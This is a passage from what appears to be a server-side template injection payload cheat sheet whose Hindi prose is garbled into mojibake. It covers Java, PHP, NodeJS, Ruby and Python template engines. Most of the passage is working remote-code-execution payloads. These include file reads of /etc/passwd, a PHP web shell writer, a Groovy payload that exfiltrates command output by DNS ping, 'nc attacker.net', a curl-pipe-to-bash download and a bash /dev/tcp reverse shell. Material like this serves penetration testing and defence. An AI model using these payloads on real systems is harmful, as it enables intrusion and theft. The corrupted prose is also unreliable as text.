base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
рд╕реНрдкреНрд░рд┐рдВрдЧ рд╡реНрдпреВ рдореИрдирд┐рдкреБрд▓реЗрд╢рди (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble рдХрд╛ рдкреБрд░рд╛рдирд╛ рд╕рдВрд╕реНрдХрд░рдг ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Pebble рдХрд╛ рдирдпрд╛ рд╕рдВрд╕реНрдХрд░рдг:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava рдПрдХ рдУрдкрди рд╕реЛрд░реНрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╣реИ рдЬрд┐рд╕реЗ Hubspot рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ https://github.com/HubSpot/jinjava/ рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред
Jinjava - рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди
https://github.com/HubSpot/jinjava/pull/230 рджреНрд╡рд╛рд░рд╛ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
Hubspot - HuBL (Java)
{% %}
рдХрдерди рд╕реАрдорд╛рдВрдХрдХ{{ }}
рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рд╕реАрдорд╛рдВрдХрдХ{# #}
рдЯрд┐рдкреНрдкрдгреА рд╕реАрдорд╛рдВрдХрдХ{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" рдХреЗ рд▓рд┐рдП рдЦреЛрдЬреЗрдВ рдФрд░ Jinjava рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ Github рдкрд░ рдЦреЛрдЬреЗрдВред
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
рдПрдХреНрд╕рдкреНрд░реЗрд╢рди рд▓реИрдВрдЧреНрд╡реЗрдЬ - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) рдПрдХ рдореМрд▓рд┐рдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рд╕реНрддреБрддрд┐ рдкрд░рдд (рдЬреИрд╕реЗ рд╡реЗрдм рдкреГрд╖реНрда) рдФрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдЬрд┐рдХ (рдЬреИрд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдмреАрди) рдХреЗ рдмреАрдЪ рдмрд╛рддрдЪреАрдд рдХреЛ рд╕реБрдЧрдо рдмрдирд╛рддреА рд╣реИ JavaEE рдореЗрдВред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдИ JavaEE рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рдЗрд╕ рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред EL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдореБрдЦ JavaEE рддрдХрдиреАрдХреЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
- JavaServer Faces (JSF): JSF рдкреГрд╖реНрдареЛрдВ рдореЗрдВ рдШрдЯрдХреЛрдВ рдХреЛ рд╕рдВрдмрдВрдзрд┐рдд рдмреИрдХрдПрдВрдб рдбреЗрдЯрд╛ рдФрд░ рдХреНрд░рд┐рдпрд╛рдУрдВ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП EL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
- JavaServer Pages (JSP): JSP рдореЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдФрд░ рдореИрдирд┐рдкреБрд▓реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП EL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреГрд╖реНрда рддрддреНрд╡реЛрдВ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбреЗрдЯрд╛ рд╕реЗ рдЬреЛрдбрд╝рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
- Contexts and Dependency Injection for Java EE (CDI): EL CDI рдХреЗ рд╕рд╛рде рдПрдХреАрдХреГрдд рд╣реЛрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╡реЗрдм рдкрд░рдд рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдмреАрди рдХреЗ рдмреАрдЪ рдирд┐рд░реНрдмрд╛рдз рдмрд╛рддрдЪреАрдд рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХреА рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдЕрдзрд┐рдХ рд╕рдВрдЧрдард┐рдд рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрд░рдЪрдирд╛ рдмрдирддреА рд╣реИред
EL рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░реНрд╕ рдХреЗ рд╢реЛрд╖рдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ:
рдЧреНрд░реВрд╡реА (Java)
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рдмрдВрдзрдХ рдмрд╛рдпрдкрд╛рд╕ рдЗрд╕ рд▓реЗрдЦ рд╕реЗ рд▓рд┐рдП рдЧрдП рд╣реИрдВред
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
Other Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
- Smarty рдЕрдиреБрднрд╛рдЧ рдореЗрдВ https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - рдЯреЗрдореНрдкрд▓реЗрдЯ рдкреНрд░рд╛рд░реВрдк
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
- Twig рдФрд░ Twig (Sandboxed) рдЕрдиреБрднрд╛рдЧ рдореЗрдВ https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯрд┐рдВрдЧ рдЗрдВрдЬрди рд╣реИ рдЬреЛ PHP рдХреЗ рд▓рд┐рдП рд╕реНрд╡рджреЗрд╢реА рд╣реИ, рдЬреЛ Twig рд╕реЗ рдкреНрд░реЗрд░рд┐рдд рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, Twig рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЬреЛ рдПрдХ рдирдИ рд╕рд┐рдВрдЯреИрдХреНрд╕ рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИ, Plates рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдореЗрдВ рд╕реНрд╡рджреЗрд╢реА PHP рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ PHP рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд▓рд┐рдП рд╕рд╣рдЬ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
рдкреГрд╖реНрда рдЯреЗрдореНрдкрд▓реЗрдЯ:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
рд▓реЗрдЖрдЙрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯ:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
PHPlib рдФрд░ HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB PHPlib рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕реЗ Pear рдкрд░ рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
рдЕрдиреНрдп PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
рдЬреЗрдб (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
- Jade рдЕрдиреБрднрд╛рдЧ рдореЗрдВ https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate рдПрдХ рдЧреИрд░-рд╕рдВрдХрд▓рди PHP рдЯреЗрдореНрдкрд▓реЗрдЯрд┐рдВрдЧ рдЗрдВрдЬрди рд╣реИ, рдЬреЛ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП XML рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
Handlebars (NodeJS)
рдкрде рдпрд╛рддреНрд░рд╛ (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = рддреНрд░реБрдЯрд┐
- ${7*7} = ${7*7}
- рдХреБрдЫ рдирд╣реАрдВ
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
JsRender (NodeJS)
рдЯреЗрдореНрдкрд▓реЗрдЯ | рд╡рд┐рд╡рд░рдг |
---|---|
рдЖрдЙрдЯрдкреБрдЯ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдФрд░ рд░реЗрдВрдбрд░ рдХрд░реЗрдВ | |
рдПрдЪрдЯреАрдПрдордПрд▓ рдПрдиреНрдХреЛрдбреЗрдб рдЖрдЙрдЯрдкреБрдЯ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдФрд░ рд░реЗрдВрдбрд░ рдХрд░реЗрдВ | |
рдЯрд┐рдкреНрдкрдгреА | |
рдФрд░ | рдХреЛрдб рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдХреНрд╖рдо) |
- = 49
рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд╛рдЗрдб
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
рдЙрджрд╛рд╣рд░рдг рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рд░реЗрдВрдбрд░
var pugjs = require("pug")
home = pugjs.render(injected_page)
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = рдХреЛрдИ рдЖрдЙрдЯрдкреБрдЯ рдирд╣реАрдВ
- #{7*7} = #{7*7}
- {{console.log(1)}} = рддреНрд░реБрдЯрд┐
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
рдЕрдиреНрдп NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
рдЕрдиреНрдп рд░реВрдмреА
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756 рдореЗрдВ
рдкрд╛рдпрдерди
рд╕рдВрджрд░реНрдн рдореЗрдВ рдЕрд░реНрдерд╛рддреН рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрди рдмрд╛рдпрдкрд╛рд╕рд┐рдВрдЧ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЯреНрд░рд┐рдХреНрд╕ рд╕реАрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ:
рдЯреЙрд░реНрдиреЗрдбреЛ (рдкрд╛рдпрдерди)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
Jinja2 (Python)
рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ
Jinja2 Python рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрдг рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рд╡рд╛рд▓рд╛ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рд╣реИред рдЗрд╕рдореЗрдВ рдкреВрд░реНрдг рдпреВрдирд┐рдХреЛрдб рд╕рдорд░реНрдерди, рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдПрдХреАрдХреГрдд рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдирд┐рд╖реНрдкрд╛рджрди рд╡рд╛рддрд╛рд╡рд░рдг, рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдФрд░ BSD рд▓рд╛рдЗрд╕реЗрдВрд╕ рдкреНрд░рд╛рдкреНрдд рд╣реИред
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - рдЯреЗрдореНрдкрд▓реЗрдЯ рдкреНрд░рд╛рд░реВрдк
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рд╣реИ __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Jinja рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА:
